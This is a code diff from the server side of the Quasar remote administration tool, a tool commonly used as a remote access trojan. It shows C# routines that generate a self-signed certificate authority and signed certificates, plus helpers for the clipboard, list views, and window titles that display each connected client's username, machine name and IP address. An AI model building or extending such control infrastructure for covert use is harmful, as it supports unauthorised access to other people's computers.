var random = new SecureRandom(new CryptoApiRandomGenerator());
var keyPairGen = new RsaKeyPairGenerator();
keyPairGen.Init(new KeyGenerationParameters(random, keyStrength));
AsymmetricCipherKeyPair keyPair = keyPairGen.GenerateKeyPair();
var certificateGenerator = new X509V3CertificateGenerator();
var CN = new X509Name("CN=" + certName);
var SN = BigInteger.ProbablePrime(120, random);
certificateGenerator.SetSerialNumber(SN);
certificateGenerator.SetSubjectDN(CN);
certificateGenerator.SetIssuerDN(caCert.IssuerDN);
certificateGenerator.SetNotAfter(DateTime.MaxValue);
certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(1, 0, 0, 0)));
certificateGenerator.SetPublicKey(keyPair.Public);
certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keyPair.Public));
certificateGenerator.AddExtension(X509Extensions.AuthorityKeyIdentifier, false, new AuthorityKeyIdentifierStructure(caCert.GetPublicKey()));
var caKeyPair = DotNetUtilities.GetKeyPair(ca.PrivateKey);
ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", caKeyPair.Private, random);
var certificate = certificateGenerator.Generate(signatureFactory);
certificate.Verify(caCert.GetPublicKey());
var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate));
certificate2.PrivateKey = DotNetUtilities.ToRSA(keyPair.Private as RsaPrivateCrtKeyParameters);
return certificate2;
}
public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength)
{
var random = new SecureRandom(new CryptoApiRandomGenerator());
var keyPairGen = new RsaKeyPairGenerator();
keyPairGen.Init(new KeyGenerationParameters(random, keyStrength));
AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair();
var certificateGenerator = new X509V3CertificateGenerator();
var CN = new X509Name("CN=" + caName);
var SN = BigInteger.ProbablePrime(120, random);
certificateGenerator.SetSerialNumber(SN);
certificateGenerator.SetSubjectDN(CN);
certificateGenerator.SetIssuerDN(CN);
certificateGenerator.SetNotAfter(DateTime.MaxValue);
certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0)));
certificateGenerator.SetPublicKey(keypair.Public);
certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public));
certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true));
ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", keypair.Private, random);
var certificate = certificateGenerator.Generate(signatureFactory);
var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate));
certificate2.PrivateKey = DotNetUtilities.ToRSA(keypair.Private as RsaPrivateCrtKeyParameters);
return certificate2;
}
}
}
+19
View File
@@ -0,0 +1,19 @@
using System;
using System.Windows.Forms;
namespace Quasar.Server.Helper
{
public static class ClipboardHelper
{
public static void SetClipboardTextSafe(string text)
{
try
{
Clipboard.SetText(text);
}
catch (Exception)
{
}
}
}
}
@@ -0,0 +1,35 @@
using System;
using Quasar.Server.Utilities;
namespace Quasar.Server.Helper
{
public static class NativeMethodsHelper
{
private const int LVM_FIRST = 0x1000;
private const int LVM_SETITEMSTATE = LVM_FIRST + 43;
private const int WM_VSCROLL = 277;
private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7);
public static int MakeWin32Long(short wLow, short wHigh)
{
return (int)wLow << 16 | (int)(short)wHigh;
}
public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value)
{
NativeMethods.LVITEM lvItem = new NativeMethods.LVITEM
{
stateMask = mask,
state = value
};
NativeMethods.SendMessageListViewItem(handle, LVM_SETITEMSTATE, new IntPtr(itemIndex), ref lvItem);
}
public static void ScrollToBottom(IntPtr handle)
{
NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, IntPtr.Zero);
}
}
}
+17
View File
@@ -0,0 +1,17 @@
using Quasar.Server.Networking;
namespace Quasar.Server.Helper
{
public static class WindowHelper
{
public static string GetWindowTitle(string title, Client c)
{
return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString());
}
public static string GetWindowTitle(string title, int count)
{
return string.Format("{0} [Selected: {1}]", title, count);
}
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 643 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 408 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 604 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 591 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 643 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 600 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 497 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 488 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 428 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 506 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 647 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 403 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 673 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 524 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 663 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 589 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 593 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 585 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 504 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 449 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 497 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 462 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 457 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 675 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 486 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 611 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 639 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 500 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 593 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 526 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 631 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 512 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 443 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 514 B

Some files were not shown because too many files have changed in this diff Show More